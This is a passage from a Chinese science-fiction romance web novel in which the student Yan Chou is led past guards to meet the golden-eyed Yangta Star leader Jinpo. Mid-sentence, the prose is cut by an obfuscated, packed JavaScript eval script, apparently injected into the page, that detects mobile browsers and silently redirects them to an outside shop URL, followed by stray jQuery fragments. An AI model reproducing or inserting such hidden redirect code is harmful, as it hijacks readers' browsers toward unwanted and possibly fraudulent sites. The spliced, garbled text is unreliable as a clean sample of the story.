他叫我什么?“老师”?晏酬这才注意到他对自己的称呼。
在丝绸星,对德高望重的女子尊称为“老师”,对德高望重的男子尊称为“先生”。若是普通人,则一律称为“女士”或“男士”。在她的家乡,只有如她母亲晏当观那般德才兼备、受人尊敬的女子才会被乡亲们称呼为“晏老师”,晏酬如今只是个比同龄人早几年上大学的甚至还没成年的女大学生,突然有个人上来叫她“老师”,还是个外星人,可着实有点惊着她了。
那侍者见她一时竟没什么反应,彬彬有礼地又叫了一声:“晏老师?您看这……”
晏酬这才反应过来他刚才的话。“先生”?什么先生啊?她认识什么扬塔星来的先生吗?不会就是那个被层层把守的房间里的人吧?她晏酬充其量只是和他们那边的人隔着虫洞和星海联络过而已,又不像朱秀,在扬塔星待过那么些年,有许多扬塔星朋友。
不过晏酬这下倒是被激起了好奇心。无他,她就想知道自己这么一个名不见经传的丝绸星大学生,这是哪位大佬想见她啊?管他呢,反正她的好朋友们就在隔壁,他们扬塔星人还能神不知鬼不觉地把自己拐走不成?
这么想着,晏酬也不推托,冲那扬塔星侍者一笑道:“可以啊。”于是便抬脚朝那间“重兵把守”的房间走去。
走到门口,她看着面前一群长相和表情都很严肃的守卫,不由得顿了一下,不过那些守卫见了她,居然非常客气地让开了道路,还一言不发地替她打开了门。
晏酬的好奇心越来越重了。她刚一走进这间房间,便觉得此处比他们开会的棋牌室要更豪华、空间更大。可此处的光线也未铺满整间房间,晏酬下意识地往角落瞥去,果然,每个角落暗处都站着全副武装的警卫。
……全副武装?刚才他们开会的棋牌室里可不是这样的!难道、难道这群扬塔星人在这里偷听他们谈话,听到她胆敢反驳他们的提议,就要把她骗到这里来灭口?!
晏酬的理智告诉她这当然是不可能的,可是潜意识里到了这么一个“举目无亲”的环境里难免忍不住乱想,她甚至下意识地后退了一步,有点想直接离开回去接着开会。
“晏老师。”她还没来得及考虑一下该怎么全身而退,就见从里间冒出来一个扬塔星人,他脸上挂着同米海一样的和善笑容,对她说道,“真高兴您能来,里面请。”
罢了!来都来了,我倒要看看这帮外星人想耍什么花样。晏酬想着,再迈开腿时的步伐称得上是壮志凌云。这间房间的确很大,而且里面还有好几个里间。他们停在了一扇深色实木门前,为她引路的扬塔星人抬起手来谨慎地敲了敲,对里边的人说道:“先生,晏老师来了。”
下一瞬,他们面前的门立刻被打开了。里边居然是另一个更宽阔的空间,这里摆的不是牌桌,而是台球桌。晏酬站在门外,只能看到屋内一隅。
“您请进。”那位看上去比她年长近十岁的扬塔星人恭敬地说道。晏酬这会儿已经丝毫不感到心慌意乱了,只剩下越来越大的好奇心,催促着她走了进去。
她进屋后,门在身后被轻轻关上了。晏酬小心翼翼地往里面走,渐渐地,这间房间的全貌如一张山水画卷在她面前徐徐展开,台球桌旁,几个穿着深色上衣的浅色头发男子手中执着台球杆,正百无聊赖地随意戳着桌上的台球,见到晏酬出现,几人齐刷刷把目光投向她,更有甚者直接把台球杆扔在了一边。
这倒让晏酬无端地有些紧张,她不再往前走了。几个男子还没说话,只听他们背后有人带着笑意说了一句:“好了,你们都先出去。”
说话的大概是他们的上级。他说完后,几名男子依言走出了房间,离开时不忘向晏酬点头致意,房间里这下只留角落里站着的几个警卫。此处的光线倒是十分明亮,似乎整家俱乐部的灯光全聚在这儿了。晏酬目送着那几名男子离开房间,这才想起要看看命令他们出去的那一位。
从看到那双眼睛的一瞬起,晏酬就在心中判定,这是位放在任何一个星球上都称得上是首屈一指的美男子。那双金色的美眸熠熠生辉,足以盖过这间房间中的全部光线、压过晏酬此生见识过的所有亮色。她从没想过竟会有人长着这样的一双眼睛,那不是颜色偏棕的琥珀色,也不是略显老派的黄褐色,那是明亮耀眼的金色,那是大多数人都无法抗拒深陷其中的绝色。
这位男士的鼻梁和唇形都生得柔和,可那双眼睛和其上的眉却让他的面容显得凌厉肃杀,再加上那色泽明亮的铂银色发丝以及周身不经意间流露出的军旅气质,让人会不由自主联想到呢洲的冬。
……哦,不过,他是扬塔星人,想来这该是在索拉斯或是那颗星上其他什么地方的寒冬中浸泡出来的气质和气场。
这男子的容貌生得过于张扬艳丽,晏酬此前还从没见过此等绝色,一时间看得有些愣住。对方似乎也不介意她直勾勾的视线,只是不知出于什么心理,站起身来走到台球桌旁,拿起台球杆干脆利落地把一颗球击入球袋。
晏酬回过神来,有些懊恼于自己心志不坚的愣神,她稳住心神,走上前去与这位面容招摇的美男握手:“您好,先生,请问怎么称呼?”
美男同她握手,却没有回答她的问题,一双金眸盈满笑意地注视着她,却说:“你猜不出么?”
声音居然也这么好听……晏酬一时间差点没控制住自己疯狂想上扬的嘴角,好在她最后还是忍住了。
“呃……抱歉,先生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671638|207061||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,我认识的扬塔星人不多,至于您,更是从未谋面。”晏酬很快就从受到美色冲击的状态中缓过神来,神色如常地与面前的美男交流道。
扬塔星应该还不至于要给我物色男模吧?晏酬脑海中冷不丁冒出了这么个想法。
美男挑了挑眉,笑意收敛了许多。瞬间,那幅晏酬幻想出来的由美色构成的旖旎画卷将她狠狠地甩了出来,她一时间甚至觉得连这房间里的光线都变暗了不少。
不,这可不是什么男模。晏酬心想,她目光沉静地打量着面前的男人,仅仅是那一瞬,他身上那股久经风霜磨练出的气场已然凸显。他的面颊并不像久待闺阁的金贵少爷那般光滑细嫩,他的金眸中闪烁着的绝不是什么温柔缱绻的目光——那是一把把足以使对手瞬间毙命的利刃。
见到这样的男人,正常人第一反应难免被其绝色容颜带偏。但他们很快就会明白,此人绝非善类,无事不要轻易靠近,最好远离。
可惜的是,晏酬这会儿没办法远离他。
“你是……‘金珀’?”她试探着问道。
“聪明。”男人说,他长长的如落了雪般的睫羽低垂着,没有去看晏酬,眼睛反而盯着台球桌上的台球。
晏酬在心中吸了一口冷气——居然是他,竟然真的是他!
在晏酬晏长岁的亲身论证下,刻板印象再次输得一败涂地。什么成熟稳重的中老年人?什么隔壁那些相貌平平、神情严肃的扬塔星高层?不,眼前这位才是金珀本尊!
“晏老师,”金珀突然说,“你抽烟?”
“啊?”晏酬被他问得一怔,这才意识到自己指间竟还夹着那根未被点燃的纸烟,她顺手把烟塞回了上衣口袋里,双手插兜道,“不,不怎么抽。”
“嗯。抽烟可不是个健康的习惯。”金珀冲她笑了笑,笑得晏酬又是一个晃神,“晏老师,请坐下吧,我有话想和你谈。”
晏酬于是依言坐下了。
“金……先生?”她估摸着面前这人年纪肯定有二十多岁了,比自己年长许多,又是扬塔星方面的高层,自己叫声“先生”也不亏,“您倒不必叫我老师,呃……您可能不太了解我们丝绸星的称呼习惯,‘老师’在我们这里是对自己非常尊敬的女士才叫的尊称。”
金珀面上没什么表情,看着她的目光倒是很温和:“难道我不该尊重你么?”
“不是。”晏酬心头一跳,“我的意思是,我应该比您年幼许多,又没有什么大的成就,您这么叫,倒让我心中感到紧张,难免刻意又生分了些。”
“你嫌生分?”金珀一顿,似是思考了片刻才道,“那我该如何称呼你呢……长岁?”
听到他念出了自己的表字,晏酬不由得一愣。